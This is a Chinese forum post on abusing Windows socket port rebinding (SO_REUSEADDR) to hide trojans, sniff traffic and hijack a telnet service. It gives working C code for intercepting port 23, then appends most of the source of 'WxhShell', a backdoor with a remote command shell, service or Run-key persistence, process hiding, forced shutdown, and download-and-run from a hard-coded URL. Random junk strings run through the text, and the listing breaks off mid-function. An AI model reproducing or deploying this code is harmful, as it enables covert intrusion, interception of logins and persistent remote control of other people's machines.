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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #<'/s qL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [9?= &O#*  
(f#W:]o/  
  saddr.sin_family = AF_INET; PLLlo~Bb  
>Dtw^1i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [F/xU  
5RLK]=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xkv>@7ec  
qE,%$0g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Jy|Mfl%d  
6AQ;P  
  这意味着什么?意味着可以进行如下的攻击: La9@h"  
aRG[F*BY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }= <!j5:  
|e< U%v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bfpW ^y  
jB1\L<P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G,"$Erx  
gwqK`ww  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H>7!+&M  
^cAJCbp7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VR:b1XWX  
U_8I$v-~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S i>TG  
`GDYL7pM(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZRQPOy  
EEo+#  
  #include G/ ^|oJ/G  
  #include ud#8`/!mq  
  #include fzio8m KVX  
  #include    /6.b>|zF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z\7bp&&  
  int main() ,pG63&?j  
  { $7bmUQ|  
  WORD wVersionRequested; 0,3 ':Df  
  DWORD ret; <A&R%5Vs  
  WSADATA wsaData; )I$Mh@F  
  BOOL val; jXDo!a| 4y  
  SOCKADDR_IN saddr; uJ y@  
  SOCKADDR_IN scaddr; ge?ymaU$a  
  int err; UCWU|r<s,  
  SOCKET s; ZT8j9zs  
  SOCKET sc; nc{ <v  
  int caddsize; |S}*M<0  
  HANDLE mt; j w462h  
  DWORD tid;   N~kYT\$b#  
  wVersionRequested = MAKEWORD( 2, 2 ); [aC9vEso!  
  err = WSAStartup( wVersionRequested, &wsaData ); 6qDD_:F  
  if ( err != 0 ) { yLX#: nm  
  printf("error!WSAStartup failed!\n"); mNY z7N  
  return -1; H}~^,B2;  
  } 6};oLnO  
  saddr.sin_family = AF_INET; 1GdgF?4  
   ZM.g +-9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6;*(6$;  
F{+`F<r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F&~vD  
  saddr.sin_port = htons(23); w6Q]?p+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HXQ rtJ  
  { /{va<CL  
  printf("error!socket failed!\n"); ]>o2P cb;  
  return -1; QMY4%uyY!  
  } `y#C%9#  
  val = TRUE; 4#9-Z6kOk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jFv<]D%A[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I2T2'_I  
  { 2cl~Va=  
  printf("error!setsockopt failed!\n"); 9="sx 8?  
  return -1; }b(e  
  } ZM?r1Z4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A{%;Hd`0/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nE;gM1I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '7R'fhiO/3  
m~eWQ_a]C@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Se`N5hQ  
  { :bDA<B6bb  
  ret=GetLastError(); ;I'/.gW;{  
  printf("error!bind failed!\n"); J.l%H U  
  return -1; #O+]ydvT  
  } a)Ek~{9  
  listen(s,2); Z(M)2  
  while(1) w#,v n8  
  { %#a%Luq  
  caddsize = sizeof(scaddr); ]:s|.C%qI  
  //接受连接请求 I "2FTGA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !ei20@  
  if(sc!=INVALID_SOCKET) 5#\p>}[HG  
  { ooSd6;'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @&##c6\$  
  if(mt==NULL) 8-ssiiJ}gh  
  { vKC&Qi ;  
  printf("Thread Creat Failed!\n"); , ~X;M"U  
  break; sLp LY1X  
  } `&zobbwq  
  } J9.p8A^^2  
  CloseHandle(mt); T+h{Aeg  
  } _|:bac8pL  
  closesocket(s); x{V>(d'p  
  WSACleanup(); b'5pQ2Mq  
  return 0; i6 ?JX@I  
  }   M&c1iK\E8  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ki6.'#%7  
  { z.HNb$;  
  SOCKET ss = (SOCKET)lpParam; [+,U0OV,  
  SOCKET sc; L"6/"L  
  unsigned char buf[4096]; vXQmEIm  
  SOCKADDR_IN saddr; R6mJFE*6T9  
  long num; u!k<sd_8B  
  DWORD val; _hL4@ C  
  DWORD ret; @~G`~8   
  //如果是隐藏端口应用的话,可以在此处加一些判断 4$GRCq5N;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @M^Qh Hs  
  saddr.sin_family = AF_INET; >/kG5]zxY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  Rha3  
  saddr.sin_port = htons(23); 6x,=SW@4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '/gwC7*-&  
  { Ny7=-]N4{"  
  printf("error!socket failed!\n"); DLVs>?Y  
  return -1; T4Gw\Z%  
  } GiO#1gA  
  val = 100; 0+y~RTAVB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &|"I0|tJ  
  { Fd,+(i D  
  ret = GetLastError(); NV(4wlh)y  
  return -1; 4U;XqUY /  
  } y{I[}$k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~'QeN%qadP  
  { IetGg{h.  
  ret = GetLastError(); nEcd+7(  
  return -1; z/&a\`DsU  
  } UQ?OD~7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q;0&idYC  
  { ;(0$~O$3u  
  printf("error!socket connect failed!\n"); ~ 9~\f  
  closesocket(sc); zpr@!76  
  closesocket(ss); FO>(QLlH  
  return -1; I&fh  
  } CC(*zrOd-  
  while(1) ^8l3j4  
  { bb/?02*)H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8u5 'g1M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V]kGcS}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n$|c{2]=  
  num = recv(ss,buf,4096,0); , 64t  
  if(num>0) CL'Xip')T  
  send(sc,buf,num,0); ^0tf1pV2  
  else if(num==0) -0VA!3l  
  break; .i&ZT}v3  
  num = recv(sc,buf,4096,0); PSf5p\<5  
  if(num>0) 'bI~61{A  
  send(ss,buf,num,0); d:<H?~  
  else if(num==0) Sa1z,EP  
  break; KA-/k@1&  
  } 1S(\2{Ylo  
  closesocket(ss); 1^f.5@tV  
  closesocket(sc); mhi90Jc  
  return 0 ; r2GK_$vd  
  } :EmQ_?(^  
l /png:  
ImV]}M~_  
========================================================== 8hKP  
B&i0j5L  
下边附上一个代码,,WXhSHELL 4d e]?#=  
'-PMF~~S  
========================================================== (\T0n[  
"7yNKO;W  
#include "stdafx.h" `e $n$Bh  
'{0[&i*  
#include <stdio.h> /j' B\,  
#include <string.h> 4g7ja   
#include <windows.h> sCF40AoY&  
#include <winsock2.h> @1qdd~B}  
#include <winsvc.h> C1T=O  
#include <urlmon.h> -.{oqs$  
&v$,pg%-:  
#pragma comment (lib, "Ws2_32.lib") ^}o7*   
#pragma comment (lib, "urlmon.lib") +:>JZ$  
8VP"ydg-U  
#define MAX_USER   100 // 最大客户端连接数 zUs~V`0  
#define BUF_SOCK   200 // sock buffer h@~:(:zU$  
#define KEY_BUFF   255 // 输入 buffer SLtSqG7~  
(A29Z H  
#define REBOOT     0   // 重启 G[3k  
#define SHUTDOWN   1   // 关机 /Fv/oY  
mG831v?  
#define DEF_PORT   5000 // 监听端口 {[2tG U9  
>*dQqJI  
#define REG_LEN     16   // 注册表键长度 'ySljo*It  
#define SVC_LEN     80   // NT服务名长度 'lhP!E_)q  
"v(G7*2  
// 从dll定义API L 42|>%uo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1$$37?FE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JbE?a[Eg?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ag0]U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O)`fvpVU  
#B @X  
// wxhshell配置信息 b'velj3A  
struct WSCFG { 3{N\A5 ~  
  int ws_port;         // 监听端口 % f2<U;ff  
  char ws_passstr[REG_LEN]; // 口令 F`!TV(,bY  
  int ws_autoins;       // 安装标记, 1=yes 0=no J &!B|TS  
  char ws_regname[REG_LEN]; // 注册表键名 Aoj6k\YX  
  char ws_svcname[REG_LEN]; // 服务名 u]HS(B,ht  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ngP7'1I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <rNtY,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x6LjcRS|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W_^>MLq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _N98vf0o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ibvJWg  
KiQ(XNx  
}; a`#S|'oatC  
W. ^Ei\w/t  
// default Wxhshell configuration TWUUvj`.  
struct WSCFG wscfg={DEF_PORT, (@ "=F6P  
    "xuhuanlingzhe", o]A XT8  
    1, huz86CO  
    "Wxhshell", A8J8u,u9  
    "Wxhshell", LZ{YmD&6]  
            "WxhShell Service", Q uB+vL  
    "Wrsky Windows CmdShell Service", 'Q5&5UrBr  
    "Please Input Your Password: ", L[rpb.'FG  
  1, [g#s&bF  
  "http://www.wrsky.com/wxhshell.exe", l]H0g[  
  "Wxhshell.exe" W6vf=I@f  
    }; 6 *Zj]is  
_?.\Xc  
// 消息定义模块 E/ijvuO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X(]Zr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =L"^.c@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `m%:rE,  
char *msg_ws_ext="\n\rExit."; (3VGaUlx  
char *msg_ws_end="\n\rQuit."; 3qtr9NI  
char *msg_ws_boot="\n\rReboot..."; UFe(4]^  
char *msg_ws_poff="\n\rShutdown..."; "}@i+oS  
char *msg_ws_down="\n\rSave to "; O+_N!/  
Y9u;H^^G  
char *msg_ws_err="\n\rErr!"; ]*3:DU  
char *msg_ws_ok="\n\rOK!"; :6Pnie  
X D)  8?  
char ExeFile[MAX_PATH]; "b]#MO}P  
int nUser = 0; o-z &7@3Hu  
HANDLE handles[MAX_USER]; \3aTaT?..  
int OsIsNt; y])).p P  
zmiZ]uq  
SERVICE_STATUS       serviceStatus; 0I 5&a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mibpG9+d  
o>F*Itr{  
// 函数声明 +{$QAjW(/  
int Install(void); Ly7!R$X  
int Uninstall(void);  W8]V  
int DownloadFile(char *sURL, SOCKET wsh); j)by}}  
int Boot(int flag); YTQps&mD.  
void HideProc(void); 8:thWGLN  
int GetOsVer(void); rC BfD  
int Wxhshell(SOCKET wsl); *V1J4 u  
void TalkWithClient(void *cs); !8R@@,_v  
int CmdShell(SOCKET sock);  )\ZzTS  
int StartFromService(void); $*\L4<(  
int StartWxhshell(LPSTR lpCmdLine); \4{2eU  
DG[%Nhle  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _<zfQZai  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0q,pi qjO  
(UYF%MA}"  
// 数据结构和表定义 Qx)Jtb0`V  
SERVICE_TABLE_ENTRY DispatchTable[] = J!TBREK  
{ l&W;b6L  
{wscfg.ws_svcname, NTServiceMain}, (qBvoLkF9N  
{NULL, NULL} XIAeCU  
}; 4woO;Gm  
AIRr{Y  
// 自我安装 e ZLMP  
int Install(void) 2p!"p`b~  
{ zhblLBpeE\  
  char svExeFile[MAX_PATH]; Ai"-w"  
  HKEY key; VDGCWg6z  
  strcpy(svExeFile,ExeFile); tX%`#hb?s  
<>Y?v C  
// 如果是win9x系统,修改注册表设为自启动 ^qvZ XS  
if(!OsIsNt) { L}sx<=8.m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PftxqJz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :+rUBYWx  
  RegCloseKey(key); )92r{%N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g(ogXA1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); atF?OP|{,w  
  RegCloseKey(key); q| .dez'  
  return 0; TDtAmk  
    } Uf\nFB? ^  
  } ]; Wx  
} )|bC^{kH!l  
else { kA wNly  
:dI\z]Y(  
// 如果是NT以上系统,安装为系统服务 !j:`7PT\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %9v@0}5V  
if (schSCManager!=0) ^dm!)4W  
{ u3 0s_\  
  SC_HANDLE schService = CreateService MV>$BW  
  ( ;gg\;i}^  
  schSCManager, g'$tj&Vk:  
  wscfg.ws_svcname, lB91An  
  wscfg.ws_svcdisp, Z{6kWA3Kk  
  SERVICE_ALL_ACCESS, @`36ku  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _+l1 b"^s1  
  SERVICE_AUTO_START, LOy0hN-$b  
  SERVICE_ERROR_NORMAL, Px FWJ?=  
  svExeFile, Hu3wdq  
  NULL, 3r+.N  
  NULL, ?:{sH#ua  
  NULL, \!]hU%Un  
  NULL, -_ C#wtC  
  NULL aUHcYc\u  
  ); :#~U<C@o  
  if (schService!=0) "XgmuSQ!  
  { #>=j79~  
  CloseServiceHandle(schService); eB> s=}|  
  CloseServiceHandle(schSCManager); WYB{% yf   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); azQD>  
  strcat(svExeFile,wscfg.ws_svcname); uj>WgU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c9qR'2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y6i _!z[V[  
  RegCloseKey(key); 7\]E~/g  
  return 0; >MK>gLg}!  
    } ;V^pL((5J  
  } 9,j-V p!G  
  CloseServiceHandle(schSCManager); b45|vX+j  
} {@! Kx`(:  
} D8&`R  
8r"+bhGx~  
return 1; fXI:Y8T  
} HK\~Qnq  
8UC xn f#  
// 自我卸载 Lip4)Y [  
int Uninstall(void) sGh(#A0Pt  
{ 1I@8A>2^OX  
  HKEY key; s,#>m*Rh  
WJ<^E"^  
if(!OsIsNt) { 6T 8!xyi-+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zo1,1O  
  RegDeleteValue(key,wscfg.ws_regname); .EM`.  
  RegCloseKey(key); zO g7raIa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uqz]J$  
  RegDeleteValue(key,wscfg.ws_regname); 24 1*!  
  RegCloseKey(key); gbVdOm  
  return 0; rZ8`sIWQt  
  } \%UkSO\nO3  
} D %Xo&V[  
} =zQN[  
else { {G?N E  
:y7c k/>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LL:_L<  
if (schSCManager!=0) %iV^S !e  
{ J!5$,%v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mI74x3 [  
  if (schService!=0) vWAL^?HUP  
  { @)J+,tg/7  
  if(DeleteService(schService)!=0) { p K0"%eA  
  CloseServiceHandle(schService); P.gb 1$7<  
  CloseServiceHandle(schSCManager); .Wjs~0c  
  return 0; 5\z `-)  
  } |i++0BU  
  CloseServiceHandle(schService); -GxaV #{  
  } ;*MLRXq  
  CloseServiceHandle(schSCManager); F'0O2KQ  
} | Bi!  
} l\i)$=d&g  
p, #o<W  
return 1; =?!wXOg_  
} zCk^B/j sM  
!r<pmr3f@7  
// 从指定url下载文件 \-g)T}g,I  
int DownloadFile(char *sURL, SOCKET wsh) ov, hI>0!D  
{ -f DnA4;  
  HRESULT hr; .[_L=_.  
char seps[]= "/"; PUUwv_  
char *token; \kZ?  
char *file; OGl}-kw  
char myURL[MAX_PATH]; %KLpig  
char myFILE[MAX_PATH]; w(L4A0K[  
 qi^7  
strcpy(myURL,sURL); P5UL4uyl  
  token=strtok(myURL,seps); J\b^)  
  while(token!=NULL) Fe4(4  
  { vw9@v`k  
    file=token; I`!<9OTBj  
  token=strtok(NULL,seps); %$.3V#?  
  } p^w;kN  
GB=X5<;  
GetCurrentDirectory(MAX_PATH,myFILE); 9w7n1k.  
strcat(myFILE, "\\"); 2fL;-\!y(  
strcat(myFILE, file); eceP0x  
  send(wsh,myFILE,strlen(myFILE),0); ~UP[A'9jJ  
send(wsh,"...",3,0);  R[D{|K@"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |IzPgC  
  if(hr==S_OK) !2f[}.6+  
return 0; `r9!zffyS  
else b0Ps5G\ u  
return 1; uxr #QA  
f6&iy$@   
} M/"I2m   
?67Y-\}  
// 系统电源模块 VY7[)  
int Boot(int flag) ?^al9D[:lz  
{ 9y"@(  
  HANDLE hToken; iv J@=pd)B  
  TOKEN_PRIVILEGES tkp; -(;26\lE  
V_.5b&@  
  if(OsIsNt) { t.i 8 2Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _@ qjV~%Sy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z 2V.3  
    tkp.PrivilegeCount = 1; LTQ"8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nFHUy9q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;n*.W|Uph  
if(flag==REBOOT) { #A JDWelD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V ]lLw)  
  return 0; \ C+~m  
} Z>k#n'm^z  
else { Ot_]3:`J~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wd8 l$*F*  
  return 0; KQ!8ks]  
} l<58A7  
  } /[ 5gX^A  
  else { hF~n)oQ  
if(flag==REBOOT) { 2lH&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9<6;Hr,>G  
  return 0; o,\$ZxSlm  
} Tztu}t]N  
else { ;"5&b!=t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'uS n}hm  
  return 0; N2^=E1|_  
} ohGJ1  
} %} SrL*  
S6Q  
return 1; 2j [=\K]  
} z% ?+AM)P  
r= `Jn6@  
// win9x进程隐藏模块 l`lk-nb  
void HideProc(void) i#n0U/  
{ G:<aB  
V(I8=rVH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @alK;\  
  if ( hKernel != NULL ) s%7t"-=&  
  { HAdg/3Hw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ( Y[Q,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,q`\\d  
    FreeLibrary(hKernel); EeE7#$l  
  } .5_2zat0H  
AlaW=leTe  
return; BA:VPTZq  
} n:?a$Ldgm  
Qz1E 2yJ  
// 获取操作系统版本 Q~ w|#  
int GetOsVer(void) 03X1d-  
{ \;B iq`  
  OSVERSIONINFO winfo; Gx/Oi)&/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ty?cC**  
  GetVersionEx(&winfo); *~e?TfG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (mpNcOY<D  
  return 1; iOghb*aW  
  else ?dg [:1R}  
  return 0; -`h)$&,  
} &DX! f  
S9y}  
// 客户端句柄模块 -uG +BraI  
int Wxhshell(SOCKET wsl) Ffz,J6b  
{ QA`sx  
  SOCKET wsh; <iC(`J$D  
  struct sockaddr_in client; Wqw1J=]  
  DWORD myID; 83_h J  
kgP0x-Ap  
  while(nUser<MAX_USER) XNkn|q2  
{ .t!x<B  
  int nSize=sizeof(client); FcU SE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R&k<AZ  
  if(wsh==INVALID_SOCKET) return 1; cdT7 @  
g}cq K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f.$af4 u  
if(handles[nUser]==0) 8cIKvHx  
  closesocket(wsh); @RKryY)  
else f2`2,?  
  nUser++; V U3upy<  
  } YU'E@t5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %7.30CA|#  
VpDbHAg  
  return 0; \_f(M|  
} + [mk<pQ  
0aB;p7~&  
// 关闭 socket !Wnb|=j  
void CloseIt(SOCKET wsh) Q p3_f8  
{ S.NPZ39}ZE  
closesocket(wsh); ^<2p~h0 \  
nUser--; lt8|9"9<  
ExitThread(0); *z8\Lnv~k  
} x7[BK_SY  
UP,c|  
// 客户端请求句柄 Gyc]?m   
void TalkWithClient(void *cs) 4|?;TE5  
{ h2d(?vOT  
wb l&  
  SOCKET wsh=(SOCKET)cs;  2JBR)P  
  char pwd[SVC_LEN]; fE mr^ R  
  char cmd[KEY_BUFF]; C~/a-  
char chr[1]; aPL+=58r  
int i,j; k9L;!TH~1K  
zTU0HR3A  
  while (nUser < MAX_USER) { N~'c_l  
ZJiG!+-j  
if(wscfg.ws_passstr) { oUlVI*~ND  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3^yK!-Wp(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \'O"~W  
  //ZeroMemory(pwd,KEY_BUFF); 8Zd]wYO  
      i=0; w``U=sfmV  
  while(i<SVC_LEN) { VI *$em O0  
RZTiw^  
  // 设置超时 H<+TR6k<  
  fd_set FdRead; r9?Mw06Wc5  
  struct timeval TimeOut; h/Y'<:  
  FD_ZERO(&FdRead); El8,,E  
  FD_SET(wsh,&FdRead); #Gi$DMW  
  TimeOut.tv_sec=8; `Urhy#LC  
  TimeOut.tv_usec=0; _|`S3}q|d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P]C<U aW'!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =Dj#gV  
cFXp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); } ^\oCR@  
  pwd=chr[0]; 6ik$B   
  if(chr[0]==0xd || chr[0]==0xa) { #GFr`o0$^  
  pwd=0; )boE/4  
  break; M<&= S  
  } {_*yGK48n  
  i++; {{!-Gr  
    } r9XZ(0/p  
#w=~lq)9  
  // 如果是非法用户,关闭 socket 2~[juWbz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kq-) ^,{y  
} E{vbO/|kf  
-Lg Ei3m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nJ;.Td  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cWm$;`Q#\  
% ] U  
while(1) { N$tGQ@  
 ~$J2g  
  ZeroMemory(cmd,KEY_BUFF); |V(0GB  
Iu6   
      // 自动支持客户端 telnet标准   1Z&(6cDY8M  
  j=0; B<C&xDRZ0  
  while(j<KEY_BUFF) { 7j{?aza  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B-mowmJ3dg  
  cmd[j]=chr[0]; xyxy`qRA  
  if(chr[0]==0xa || chr[0]==0xd) {  0+8e,  
  cmd[j]=0; nr#|b`J]  
  break; z(~_AN M4,  
  } moE2G?R  
  j++; ji= "DYtL  
    } qxj(p o  
"Y.y:Vv;  
  // 下载文件 ajpX L  
  if(strstr(cmd,"http://")) { p]"4#q\(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4&iCht =  
  if(DownloadFile(cmd,wsh)) dF2RH)Ud  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {c0`Um3&>  
  else d"Y{UE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8b=_Y;  
  } *lb<$E]="!  
  else { t$ *0{w E  
z?//rXuO  
    switch(cmd[0]) { 3 gf1ownC  
  ?@89lLD  
  // 帮助 13 wE"-  
  case '?': { XX~,>Q}H=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )`}:8y?  
    break; D)Dr__x  
  } T9&1VW  
  // 安装 c[e}w+ uB  
  case 'i': { tnIX:6  
    if(Install())  2Rz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 {)Q[#l  
    else 92-I~ !d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?fS9J  
    break; g `4<9RMun  
    } E)3NxmM#  
  // 卸载 H[|~/0?K  
  case 'r': { 3M=  
    if(Uninstall()) .sA.C] f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hzC>~Ub5  
    else <6=c,y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jqkqZF  
    break; CH/rp4NeSy  
    } y_9Ds>p!T  
  // 显示 wxhshell 所在路径 _aMF?Pj~m  
  case 'p': { tI{_y  
    char svExeFile[MAX_PATH]; IM+ o.@f-  
    strcpy(svExeFile,"\n\r"); >i O!*&Y>  
      strcat(svExeFile,ExeFile); Qei" '~1a  
        send(wsh,svExeFile,strlen(svExeFile),0); XZwK6F)L  
    break; DeYV$W B  
    } ;=UsAB]  
  // 重启 u2[w#   
  case 'b': { xwty<?dRW1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 39jG8zr=Z[  
    if(Boot(REBOOT)) . [ mR M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |WUG}G")*x  
    else { \|ao`MMaD<  
    closesocket(wsh); hpJ-r  
    ExitThread(0); %PJQ%~ A  
    } l NBL4yM  
    break; fxIf|9Qi`  
    } UY 2OZ& &  
  // 关机 YAmb`CP  
  case 'd': { <^uBoKB/f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <Ok3FE.K  
    if(Boot(SHUTDOWN)) YnP5i#"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cFWc<55aX6  
